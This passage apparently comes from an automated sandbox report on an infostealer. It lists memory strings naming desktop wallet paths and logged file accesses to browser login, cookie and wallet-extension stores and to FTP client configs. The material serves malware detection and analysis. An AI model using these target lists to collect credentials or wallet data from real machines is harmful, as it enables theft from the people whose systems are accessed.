Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 580f9a92c2.exe, 00000011.00000003.2546685250.000000000137D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

